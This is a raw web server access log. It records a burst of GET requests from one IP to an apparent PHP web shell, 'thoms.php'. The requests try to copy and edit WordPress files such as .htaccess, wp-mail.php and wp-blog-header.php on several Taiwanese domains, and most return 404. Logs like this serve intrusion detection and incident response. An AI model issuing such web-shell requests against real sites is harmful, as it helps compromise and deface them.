45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?edit=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?edit=readme.html&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /biotaiwan.com.tw/cgi-bin/?ND= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /biotaiwan.com.tw/cgi-bin/?MA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /biotaiwan.com.tw/cgi-bin/?SA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:33 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
